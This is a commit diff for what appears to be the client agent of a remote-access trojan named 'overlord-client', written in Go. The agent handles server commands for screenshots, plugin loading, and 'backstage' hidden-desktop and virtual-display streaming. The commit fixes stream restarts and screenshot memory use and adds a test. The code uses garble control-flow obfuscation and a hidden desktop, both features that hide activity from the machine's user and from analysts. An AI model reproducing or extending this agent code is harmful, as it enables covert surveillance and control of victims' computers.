fix screenshot mem usage + fix backstage not starting after being stopped once
This commit is contained in:
@@ -33,13 +33,15 @@ func backstageStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) er
|
||||
fps := activebackstageTargetFPS()
|
||||
interval := time.Second / time.Duration(fps)
|
||||
capture.SetBackstageH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
log.Printf("backstage: starting stream (target fps %d)", fps)
|
||||
|
||||
if err := capture.InitializebackstageDesktop(); err != nil {
|
||||
log.Printf("backstage: failed to initialize hidden desktop: %v", err)
|
||||
return err
|
||||
}
|
||||
capture.StartFrameFlowStream("backstage", fps)
|
||||
defer capture.StopFrameFlowStream("backstage")
|
||||
defer capture.CleanupbackstageDesktop()
|
||||
|
||||
if autoStartExplorer {
|
||||
goSafe("backstage auto-start explorer", nil, func() {
|
||||
@@ -56,21 +58,19 @@ func backstageStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) er
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
log.Printf("backstage: stopping stream")
|
||||
capture.CleanupbackstageDesktop()
|
||||
return nil
|
||||
case <-ticker.C:
|
||||
fps := activebackstageTargetFPS()
|
||||
if fps != currentFPS {
|
||||
currentFPS = fps
|
||||
capture.SetBackstageH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
capture.UpdateFrameFlowStream("backstage", fps)
|
||||
ticker.Reset(time.Second / time.Duration(fps))
|
||||
log.Printf("backstage: target fps changed to %d", fps)
|
||||
}
|
||||
if err := capture.Nowbackstage(ctx, env); err != nil {
|
||||
if ctx.Err() != nil {
|
||||
log.Printf("backstage: stopping stream")
|
||||
capture.CleanupbackstageDesktop()
|
||||
return nil
|
||||
}
|
||||
log.Printf("backstage: capture error: %v", err)
|
||||
@@ -91,7 +91,7 @@ func SetbackstageTargetFPS(fps int) int {
|
||||
fps = clampDesktopTargetFPS(fps)
|
||||
backstageTargetFPS.Store(int64(fps))
|
||||
capture.SetBackstageH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
capture.UpdateFrameFlowStream("backstage", fps)
|
||||
return fps
|
||||
}
|
||||
|
||||
|
||||
@@ -595,17 +595,20 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
case "screenshot":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
allDisplays := false
|
||||
dashboardThumbnail := false
|
||||
if payload != nil {
|
||||
mode, _ := payload["mode"].(string)
|
||||
dashboardThumbnail = mode == "thumbnail"
|
||||
if v, ok := payload["allDisplays"].(bool); ok && v {
|
||||
allDisplays = true
|
||||
} else if mode, ok := payload["mode"].(string); ok && mode == "notification" {
|
||||
} else if mode == "notification" || mode == "thumbnail" {
|
||||
allDisplays = true
|
||||
}
|
||||
}
|
||||
if goruntime.GOOS == "windows" {
|
||||
allDisplays = true
|
||||
}
|
||||
return HandleScreenshot(ctx, env, cmdID, allDisplays)
|
||||
return HandleScreenshot(ctx, env, cmdID, allDisplays, dashboardThumbnail)
|
||||
case "plugin_load":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
if payload == nil {
|
||||
@@ -1137,6 +1140,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
}
|
||||
capture.RequestDesktopRecoveryAfterBackstageStart()
|
||||
if VirtualMode {
|
||||
// The hidden-desktop and virtual-display implementations share the
|
||||
// backstage encoder, frame history, and fallback capture caches. Stop
|
||||
// the other implementation before switching; ordinary remote desktop
|
||||
// remains independent and continues running.
|
||||
env.BackstageMu.Lock()
|
||||
if env.BackstageCancel != nil {
|
||||
env.BackstageCancel()
|
||||
waitStreamStop(env.BackstageDone, "backstage")
|
||||
env.BackstageCancel = nil
|
||||
env.BackstageDone = nil
|
||||
}
|
||||
env.BackstageMouseControl = false
|
||||
env.BackstageKeyboardControl = false
|
||||
env.BackstageCursorCapture = false
|
||||
clearbackstageInputQueue()
|
||||
env.BackstageMu.Unlock()
|
||||
env.VirtualMu.Lock()
|
||||
if env.VirtualCancel != nil {
|
||||
env.VirtualCancel()
|
||||
@@ -1165,6 +1184,12 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
env.VirtualMu.Lock()
|
||||
if env.VirtualCancel != nil {
|
||||
log.Printf("hidden: stopping virtual stream before starting backstage desktop")
|
||||
stopVirtualStreamLocked(env)
|
||||
}
|
||||
env.VirtualMu.Unlock()
|
||||
env.BackstageMu.Lock()
|
||||
if env.BackstageCancel != nil {
|
||||
env.BackstageCancel()
|
||||
|
||||
@@ -34,7 +34,8 @@ func DesktopStart(ctx context.Context, env *rt.Env) error {
|
||||
fps := activeDesktopTargetFPS()
|
||||
interval := time.Second / time.Duration(fps)
|
||||
capture.SetDesktopH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
capture.StartFrameFlowStream("desktop", fps)
|
||||
defer capture.StopFrameFlowStream("desktop")
|
||||
log.Printf("desktop: starting stream (target fps %d)", fps)
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
@@ -49,7 +50,7 @@ func DesktopStart(ctx context.Context, env *rt.Env) error {
|
||||
if fps != currentFPS {
|
||||
currentFPS = fps
|
||||
capture.SetDesktopH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
capture.UpdateFrameFlowStream("desktop", fps)
|
||||
ticker.Reset(time.Second / time.Duration(fps))
|
||||
log.Printf("desktop: target fps changed to %d", fps)
|
||||
}
|
||||
@@ -76,7 +77,7 @@ func SetDesktopTargetFPS(fps int) int {
|
||||
fps = clampDesktopTargetFPS(fps)
|
||||
desktopTargetFPS.Store(int64(fps))
|
||||
capture.SetDesktopH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
capture.UpdateFrameFlowStream("desktop", fps)
|
||||
return fps
|
||||
}
|
||||
|
||||
|
||||
@@ -9,6 +9,9 @@ import (
|
||||
"image/jpeg"
|
||||
"log"
|
||||
goruntime "runtime"
|
||||
"runtime/debug"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"overlord-client/cmd/agent/capture"
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
@@ -18,12 +21,18 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
monitorCountFn = capture.MonitorCount
|
||||
displayBoundsFn = capture.DisplayBounds
|
||||
captureRectFn = screenshot.CaptureRect
|
||||
monitorCountFn = capture.MonitorCount
|
||||
displayBoundsFn = capture.DisplayBounds
|
||||
captureRectFn = screenshot.CaptureRect
|
||||
thumbnailCaptureDisplayFn = capture.CaptureDisplayRGBAThumbnail
|
||||
thumbnailCaptureCleanupFn = capture.CleanupThumbnailCapture
|
||||
screenshotScavengeMu sync.Mutex
|
||||
screenshotScavengeTimer *time.Timer
|
||||
)
|
||||
|
||||
func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplays bool) error {
|
||||
const dashboardThumbnailMaxHeight = 1080
|
||||
|
||||
func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplays, dashboardThumbnail bool) error {
|
||||
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||
|
||||
if allDisplays {
|
||||
@@ -44,7 +53,16 @@ func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplay
|
||||
}
|
||||
}()
|
||||
|
||||
img, _, bounds, err := captureScreenshotImage(allDisplays)
|
||||
var img *image.RGBA
|
||||
var bounds image.Rectangle
|
||||
var err error
|
||||
if dashboardThumbnail && goruntime.GOOS == "windows" {
|
||||
img, _, bounds, err = captureDashboardThumbnailWindows(allDisplays)
|
||||
thumbnailCaptureCleanupFn()
|
||||
defer scheduleScreenshotHeapScavenge()
|
||||
} else {
|
||||
img, _, bounds, err = captureScreenshotImage(allDisplays)
|
||||
}
|
||||
if err != nil {
|
||||
log.Printf("screenshot: capture failed: %v", err)
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
@@ -56,7 +74,11 @@ func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplay
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
opts := &jpeg.Options{Quality: 92}
|
||||
quality := 92
|
||||
if dashboardThumbnail {
|
||||
quality = 85
|
||||
}
|
||||
opts := &jpeg.Options{Quality: quality}
|
||||
if err := jpeg.Encode(&buf, img, opts); err != nil {
|
||||
log.Printf("screenshot: jpeg encode failed: %v", err)
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
@@ -91,6 +113,110 @@ func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplay
|
||||
})
|
||||
}
|
||||
|
||||
func scheduleScreenshotHeapScavenge() {
|
||||
screenshotScavengeMu.Lock()
|
||||
defer screenshotScavengeMu.Unlock()
|
||||
if screenshotScavengeTimer != nil {
|
||||
screenshotScavengeTimer.Stop()
|
||||
}
|
||||
screenshotScavengeTimer = time.AfterFunc(time.Second, func() {
|
||||
screenshotScavengeMu.Lock()
|
||||
screenshotScavengeTimer = nil
|
||||
screenshotScavengeMu.Unlock()
|
||||
debug.FreeOSMemory()
|
||||
})
|
||||
}
|
||||
|
||||
func captureDashboardThumbnailWindows(allDisplays bool) (*image.RGBA, int, image.Rectangle, error) {
|
||||
monitorCount := monitorCountFn()
|
||||
if monitorCount <= 0 {
|
||||
return nil, 0, image.Rectangle{}, errors.New("no active displays available")
|
||||
}
|
||||
if !allDisplays {
|
||||
img, err := thumbnailCaptureDisplayFn(0, dashboardThumbnailMaxHeight)
|
||||
if err != nil {
|
||||
return nil, 0, image.Rectangle{}, err
|
||||
}
|
||||
if img == nil {
|
||||
return nil, 0, image.Rectangle{}, errors.New("dashboard thumbnail capture returned no image")
|
||||
}
|
||||
return img, 0, img.Rect, nil
|
||||
}
|
||||
|
||||
type thumbnailPart struct {
|
||||
bounds image.Rectangle
|
||||
img *image.RGBA
|
||||
}
|
||||
parts := make([]thumbnailPart, 0, monitorCount)
|
||||
minX, minY := int(1e9), int(1e9)
|
||||
monitorBounds := make([]image.Rectangle, monitorCount)
|
||||
maxMonitorHeight := 0
|
||||
for i := 0; i < monitorCount; i++ {
|
||||
bounds := displayBoundsFn(i)
|
||||
monitorBounds[i] = bounds
|
||||
if bounds.Dy() > maxMonitorHeight {
|
||||
maxMonitorHeight = bounds.Dy()
|
||||
}
|
||||
if bounds.Min.X < minX {
|
||||
minX = bounds.Min.X
|
||||
}
|
||||
if bounds.Min.Y < minY {
|
||||
minY = bounds.Min.Y
|
||||
}
|
||||
}
|
||||
if maxMonitorHeight <= 0 {
|
||||
return nil, 0, image.Rectangle{}, errors.New("invalid dashboard monitor bounds")
|
||||
}
|
||||
layoutScale := 1.0
|
||||
if maxMonitorHeight > dashboardThumbnailMaxHeight {
|
||||
layoutScale = float64(dashboardThumbnailMaxHeight) / float64(maxMonitorHeight)
|
||||
}
|
||||
for i, bounds := range monitorBounds {
|
||||
monitorMaxHeight := int(float64(bounds.Dy()) * layoutScale)
|
||||
if monitorMaxHeight < 1 {
|
||||
monitorMaxHeight = 1
|
||||
}
|
||||
img, err := thumbnailCaptureDisplayFn(i, monitorMaxHeight)
|
||||
if err != nil {
|
||||
return nil, 0, image.Rectangle{}, err
|
||||
}
|
||||
if img == nil {
|
||||
return nil, 0, image.Rectangle{}, errors.New("dashboard thumbnail capture returned no image")
|
||||
}
|
||||
parts = append(parts, thumbnailPart{bounds: bounds, img: img})
|
||||
}
|
||||
|
||||
type positionedPart struct {
|
||||
img *image.RGBA
|
||||
offX int
|
||||
offY int
|
||||
}
|
||||
positioned := make([]positionedPart, len(parts))
|
||||
canvasW, canvasH := 0, 0
|
||||
for i, part := range parts {
|
||||
positioned[i] = positionedPart{
|
||||
img: part.img,
|
||||
offX: int(float64(part.bounds.Min.X-minX) * layoutScale),
|
||||
offY: int(float64(part.bounds.Min.Y-minY) * layoutScale),
|
||||
}
|
||||
if right := positioned[i].offX + part.img.Rect.Dx(); right > canvasW {
|
||||
canvasW = right
|
||||
}
|
||||
if bottom := positioned[i].offY + part.img.Rect.Dy(); bottom > canvasH {
|
||||
canvasH = bottom
|
||||
}
|
||||
}
|
||||
if canvasW <= 0 || canvasH <= 0 {
|
||||
return nil, 0, image.Rectangle{}, errors.New("invalid dashboard thumbnail bounds")
|
||||
}
|
||||
canvas := image.NewRGBA(image.Rect(0, 0, canvasW, canvasH))
|
||||
for _, part := range positioned {
|
||||
dst := image.Rect(part.offX, part.offY, part.offX+part.img.Rect.Dx(), part.offY+part.img.Rect.Dy())
|
||||
draw.Draw(canvas, dst, part.img, part.img.Rect.Min, draw.Src)
|
||||
}
|
||||
return canvas, 0, canvas.Rect, nil
|
||||
}
|
||||
|
||||
func captureScreenshotImage(allDisplays bool) (*image.RGBA, int, image.Rectangle, error) {
|
||||
if goruntime.GOOS == "windows" {
|
||||
if img, displayIndex, bounds, err := captureScreenshotImageWindows(allDisplays); err == nil && img != nil {
|
||||
|
||||
@@ -136,7 +136,7 @@ func TestHandleScreenshot_RepeatedRequestsDoNotEmitLiveFrames(t *testing.T) {
|
||||
ctx := context.Background()
|
||||
writer := &testWriter{}
|
||||
for i, commandID := range []string{"cmd-1", "cmd-2"} {
|
||||
if err := HandleScreenshot(ctx, &rt.Env{Conn: writer}, commandID, false); err != nil {
|
||||
if err := HandleScreenshot(ctx, &rt.Env{Conn: writer}, commandID, false, false); err != nil {
|
||||
t.Fatalf("HandleScreenshot request %d failed: %v", i+1, err)
|
||||
}
|
||||
}
|
||||
@@ -162,3 +162,47 @@ func TestHandleScreenshot_RepeatedRequestsDoNotEmitLiveFrames(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDashboardThumbnailCapsMultiMonitorCaptureBeforeStitching(t *testing.T) {
|
||||
origMonitorCountFn := monitorCountFn
|
||||
origBoundsFn := displayBoundsFn
|
||||
origThumbnailCaptureFn := thumbnailCaptureDisplayFn
|
||||
t.Cleanup(func() {
|
||||
monitorCountFn = origMonitorCountFn
|
||||
displayBoundsFn = origBoundsFn
|
||||
thumbnailCaptureDisplayFn = origThumbnailCaptureFn
|
||||
})
|
||||
|
||||
monitorCountFn = func() int { return 2 }
|
||||
displayBoundsFn = func(idx int) image.Rectangle {
|
||||
if idx == 0 {
|
||||
return image.Rect(0, 0, 3840, 2160)
|
||||
}
|
||||
return image.Rect(3840, 235, 4920, 2155)
|
||||
}
|
||||
requestedHeights := make([]int, 0, 2)
|
||||
thumbnailCaptureDisplayFn = func(display, maxHeight int) (*image.RGBA, error) {
|
||||
requestedHeights = append(requestedHeights, maxHeight)
|
||||
if display == 0 {
|
||||
return image.NewRGBA(image.Rect(0, 0, 1920, 1080)), nil
|
||||
}
|
||||
return image.NewRGBA(image.Rect(0, 0, 540, 960)), nil
|
||||
}
|
||||
|
||||
img, _, bounds, err := captureDashboardThumbnailWindows(true)
|
||||
if err != nil {
|
||||
t.Fatalf("capture dashboard thumbnail: %v", err)
|
||||
}
|
||||
if img == nil {
|
||||
t.Fatal("expected dashboard thumbnail image")
|
||||
}
|
||||
if len(requestedHeights) != 2 || requestedHeights[0] != 1080 || requestedHeights[1] != 960 {
|
||||
t.Fatalf("unexpected per-monitor capture caps: %v", requestedHeights)
|
||||
}
|
||||
if bounds.Dx() != 2460 || bounds.Dy() != 1080 {
|
||||
t.Fatalf("expected bounded 2460x1080 canvas, got %dx%d", bounds.Dx(), bounds.Dy())
|
||||
}
|
||||
if got := int64(len(img.Pix)); got >= int64(4920*2160*4) {
|
||||
t.Fatalf("thumbnail canvas retained native virtual-desktop allocation: %d bytes", got)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -17,13 +17,14 @@ func VirtualStart(ctx context.Context, env *rt.Env) error {
|
||||
fps := activeVirtualTargetFPS()
|
||||
interval := time.Second / time.Duration(fps)
|
||||
capture.SetBackstageH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
log.Printf("virtual: starting stream (target fps %d)", fps)
|
||||
|
||||
if err := capture.InitializeVirtualMode(); err != nil {
|
||||
log.Printf("virtual: failed to initialize virtual mode: %v", err)
|
||||
return err
|
||||
}
|
||||
capture.StartFrameFlowStream("virtual", fps)
|
||||
defer capture.StopFrameFlowStream("virtual")
|
||||
defer capture.CleanupVirtualMode()
|
||||
|
||||
ticker := time.NewTicker(interval)
|
||||
@@ -39,7 +40,7 @@ func VirtualStart(ctx context.Context, env *rt.Env) error {
|
||||
if fps != currentFPS {
|
||||
currentFPS = fps
|
||||
capture.SetBackstageH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
capture.UpdateFrameFlowStream("virtual", fps)
|
||||
ticker.Reset(time.Second / time.Duration(fps))
|
||||
log.Printf("virtual: target fps changed to %d", fps)
|
||||
}
|
||||
@@ -66,7 +67,7 @@ func SetVirtualTargetFPS(fps int) int {
|
||||
fps = clampDesktopTargetFPS(fps)
|
||||
virtualTargetFPS.Store(int64(fps))
|
||||
capture.SetBackstageH264TargetFPS(fps)
|
||||
capture.SetFrameFlowTargetFPS(fps)
|
||||
capture.UpdateFrameFlowStream("virtual", fps)
|
||||
return fps
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user